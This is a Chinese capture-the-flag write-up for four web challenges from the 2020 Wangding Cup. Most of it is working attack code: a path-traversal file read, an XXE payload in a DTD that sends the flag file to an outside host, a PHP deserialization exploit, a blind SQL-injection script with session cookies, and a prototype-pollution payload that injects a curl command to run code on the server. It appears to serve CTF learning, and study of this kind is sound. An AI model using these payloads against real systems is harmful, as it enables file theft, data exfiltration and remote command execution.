2020年网鼎杯青龙组

2020年第二届“网鼎杯”网络安全大赛青龙组

web

filejava

测试发现DownloadServlet存在目录穿越漏洞
读取web.xml,然后依次读取对应的class文件
http://844bfa9b3fc8483d9988f6dc4541c4423a2ea466418e4bcb.cloudgame1.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../WEB-INF/web.xml

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
<servlet>
<description></description>
<display-name>UploadServlet</display-name>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>ListFileServlet</display-name>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>DownloadServlet</display-name>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>

http://844bfa9b3fc8483d9988f6dc4541c4423a2ea466418e4bcb.cloudgame1.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class

DownloadServlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package cn.abc.servlet;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.net.URLEncoder;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class DownloadServlet
extends HttpServlet
{
private static final long serialVersionUID = 1L;

protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
doPost(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
String fileName = request.getParameter("filename");
fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");
System.out.println("filename=" + fileName);
if ((fileName != null) && (fileName.toLowerCase().contains("flag")))
{
request.setAttribute("message", "��������");
request.getRequestDispatcher("/message.jsp").forward(request, response);
return;
}
String fileSaveRootPath = getServletContext().getRealPath("/WEB-INF/upload");

String path = findFileSavePathByFileName(fileName, fileSaveRootPath);

File file = new File(path + "/" + fileName);
if (!file.exists())
{
request.setAttribute("message", "����������������������!");
request.getRequestDispatcher("/message.jsp").forward(request, response);
return;
}
String realname = fileName.substring(fileName.indexOf("_") + 1);

response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode(realname, "UTF-8"));

FileInputStream in = new FileInputStream(path + "/" + fileName);

ServletOutputStream out = response.getOutputStream();

byte[] buffer = new byte['?'];
int len = 0;
while ((len = in.read(buffer)) > 0) {
out.write(buffer, 0, len);
}
in.close();

out.close();
}

public String findFileSavePathByFileName(String filename, String saveRootPath)
{
int hashCode = filename.hashCode();
int dir1 = hashCode & 0xF;
int dir2 = (hashCode & 0xF0) >> 4;
String dir = saveRootPath + "/" + dir1 + "/" + dir2;
File file = new File(dir);
if (!file.exists()) {
file.mkdirs();
}
return dir;
}
}

UploadServlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
package cn.abc.servlet;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import java.util.List;
import java.util.UUID;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.usermodel.WorkbookFactory;

public class UploadServlet
extends HttpServlet
{
private static final long serialVersionUID = 1L;

protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
doPost(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
String savePath = getServletContext().getRealPath("/WEB-INF/upload");

String tempPath = getServletContext().getRealPath("/WEB-INF/temp");
File tempFile = new File(tempPath);
if (!tempFile.exists()) {
tempFile.mkdir();
}
String message = "";
try
{
DiskFileItemFactory factory = new DiskFileItemFactory();

factory.setSizeThreshold(102400);

factory.setRepository(tempFile);

ServletFileUpload upload = new ServletFileUpload(factory);

upload.setProgressListener(new UploadServlet.1(this));

upload.setHeaderEncoding("UTF-8");

upload.setFileSizeMax(1048576L);

upload.setSizeMax(10485760L);
if (!ServletFileUpload.isMultipartContent(request)) {
return;
}
List<FileItem> list = upload.parseRequest(request);
for (FileItem fileItem : list) {
if (fileItem.isFormField())
{
String name = fileItem.getFieldName();

String str1 = fileItem.getString("UTF-8");
}
else
{
String filename = fileItem.getName();
if ((filename != null) && (!filename.trim().equals("")))
{
String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);

InputStream in = fileItem.getInputStream();
if ((filename.startsWith("excel-")) && ("xlsx".equals(fileExtName))) {
try
{
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
}
catch (InvalidFormatException e)
{
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}
String saveFilename = makeFileName(filename);
request.setAttribute("saveFilename", saveFilename);
request.setAttribute("filename", filename);

String realSavePath = makePath(saveFilename, savePath);

FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename);

byte[] buffer = new byte['?'];

int len = 0;
while ((len = in.read(buffer)) > 0) {
out.write(buffer, 0, len);
}
in.close();

out.close();

message = "������������!";
}
}
}
}
catch (FileUploadException e)
{
e.printStackTrace();
}
request.setAttribute("message", message);
request.getRequestDispatcher("/ListFileServlet").forward(request, response);
}

private String makeFileName(String filename)
{
return UUID.randomUUID().toString() + "_" + filename;
}

private String makePath(String filename, String savePath)
{
int hashCode = filename.hashCode();
int dir1 = hashCode & 0xF;
int dir2 = (hashCode & 0xF0) >> 4;

String dir = savePath + "/" + dir1 + "/" + dir2;

File file = new File(dir);
if (!file.exists()) {
file.mkdirs();
}
return dir;
}
}

在报错中我们看到 poi-ooxml-3.10
谷歌下可以发现它其实是有个漏洞的https://www.cnblogs.com/iyiyang/articles/10055824.html

在服务器上放个evil.dtd,内容为:

1
2
3
4
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ccreater.top:60004/?%file;'>">
%all;

分别在 [Content_Types].xml、/xl/workbook.xml、/xl/worksheets/shee1.xml 中添加
<!DOCTYPE ANY SYSTEM "http://ccreater.top:60000/evil.dtd"> 在根元素中添加<b>&send</b>

image9568

监听端口拿到flag

AreUSerialz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class FileHandler {

public $op;
public $filename;
public $content;

function __construct() {
$op = "2e0";
$filename = "flag.php";
}

public function set($filename) {
$this->op = '2e0';
$this->filename = $filename;
}
}


$url = 'http://5f56366ab1864e38b5d46f4b070e8082a5878207423a4008.cloudgame1.ichunqiu.com/?str=';

$file = new FileHandler;
$file->set($_GET[1]);

$payload = urlencode(serialize($file));
echo file_get_contents($url . $payload);

#echo urlencode(serialize($payload));


利用弱类型比较来绕过if($this->op === "2")$this->op = "1";
将FileHandler中的变量改为public来绕过is_valid的限制
读取 /proc/self/cmdline 得知配置文件:/web/config/httpd.conf
读取配置文件得知 web目录:DocumentRoot "/web/html"
读取flag:/web/html/flag.php

trace

只有一个register.php,fuzz方向存在sql注入漏洞
由于题目限制最多只能插入20个数据,于是我们让mysql在运算的时候报错就不会插入数据,避免了多次重开容器的麻烦
测试后,具体payload为:username=','aaa'-if(ascii(select substr(database(),1,1))>1,sleep(5)-exp(~(select * from(select user())a)),exp(~(select * from(select user())a))))%23&password=aaa

因为information_schema被过滤,还有其他的一些能够查询表名的表不存在,于是只能猜测表名

盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import time


#修改bigger和sqlinj就好


#实现bigger才能使用
def findByDichotomy(begin,end):
max_num=end
while True:
mid=int((begin+end)/2)
if begin==max_num:
return False
if begin==end:
return begin
if end-begin==1:
if bigger(begin):
return end
else:
return begin
if bigger(mid):
begin=mid+1
else:
end=mid
#待求数据大于num
def bigger(num):
time.sleep(0.5)
sql="select group_concat(b) from (select (select 1)a,(select 2)b union select * from flag)`table`"
burp0_url = "http://2e22e4f7edf54994ae0a08c8acf108e6b85804ee8a8144c6.cloudgame2.ichunqiu.com:80/register_do.php"
burp0_cookies = {"UM_distinctid": "16f8014229c357-04d5c848290106-6701b35-240000-16f8014229d768", "Hm_lvt_2d0601bd28de7d49818249cf35d95943": "1587227364", "Hm_lpvt_2d0601bd28de7d49818249cf35d95943": "1589089931", "__jsluid_h": "5303c9bcf8d25c671142a156f959a817"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://2e22e4f7edf54994ae0a08c8acf108e6b85804ee8a8144c6.cloudgame2.ichunqiu.com/register.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = {"username": "','aaa'-if((ascii(substr(( {sql} ),{POS},2))>{GUESS}),sleep(2)-exp(~(select * from(select user())a)),exp(~(select * from(select user())a))))#".format(GUESS=num,POS=pos,sql=sql), "password": "aaa"}
try:
r=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,timeout=2)
except Exception:
return True
print("test "+str(num))
print(r.text)
return False
def less(num):
pass
def equal(num):
pass


#1,flag{}
result="2,flag{"
pos=len(result)+1
while True:
num=findByDichotomy(32,128)
if num is False:
print(result)
break
result+=chr(num)
print(result)
pos+=1

notes

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

谷歌发现unsafe的某些版本存在原型链污染漏洞 https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

阅读代码发现可以通过edit_note来污染原型链结合status处来命令执行

payload:id=__proto__.abc&author=curl http://http.requestbin.buuoj.cn/19tjk5d1?aaaaa=1&raw=ls

令我有些不解的是,我本地复现payload为:id=__proto__&author=curl http://http.requestbin.buuoj.cn/19tjk5d1?aaaaa=1&raw=ls,本地是可以的,打靶机的时候反而不行